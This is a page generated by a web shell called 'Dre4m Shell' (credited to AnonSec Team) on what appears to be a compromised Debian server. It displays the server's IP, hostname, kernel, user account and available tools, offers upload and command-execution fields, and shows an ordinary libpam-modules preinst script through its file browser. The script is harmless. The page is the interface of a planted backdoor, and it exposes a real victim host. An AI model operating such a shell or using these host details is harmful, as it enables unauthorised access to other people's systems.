Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.220.13.15
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/var/lib/dpkg/info/libpam-modules:amd64.preinst
#!/bin/sh

set -e

. /usr/share/debconf/confmodule


handle_profiles_with_removed_modules() {
    removed_modules="$1"
    profiles=""
    modules=""
    test -x /usr/sbin/pam-auth-update ||return 0
    test -r /var/lib/pam/auth ||return 0
    for module in $removed_modules; do
        new_profiles=$( perl -nle 'BEGIN {$removed = shift;} /^Module: (.*)$/&&($profile = $1); /^[^#]*$removed/&&$profile&&($profiles{$profile} = 1); END {print join("\n",keys %profiles) if %profiles;}' \
                        $module \
                        /var/lib/pam/auth /var/lib/pam/account \
                        /var/lib/pam/password /var/lib/pam/session \
                        /var/lib/pam/session-noninteractive)
        if [ "$new_profiles" != "" ]; then
            modules="$modules $module"
            profiles="${profiles}${new_profiles}"
        fi
    done
    profiles=$( echo "$profiles" |sort |uniq)
    if [ "$profiles" != "" ]; then
        db_reset libpam-modules/profiles-disabled
        db_subst libpam-modules/profiles-disabled modules "$modules"
        db_input critical libpam-modules/profiles-disabled ||true
        db_go ||true
        pam-auth-update --remove $profiles
    fi
}

        

if dpkg --compare-versions "$2" lt-nl 1.4.0-5; then
	db_version 2.0

	if pidof xscreensaver xlockmore >/dev/null; then
		db_input critical libpam-modules/disable-screensaver || true
		db_go || true
	fi
fi



Anon7 - 2022
AnonSec Team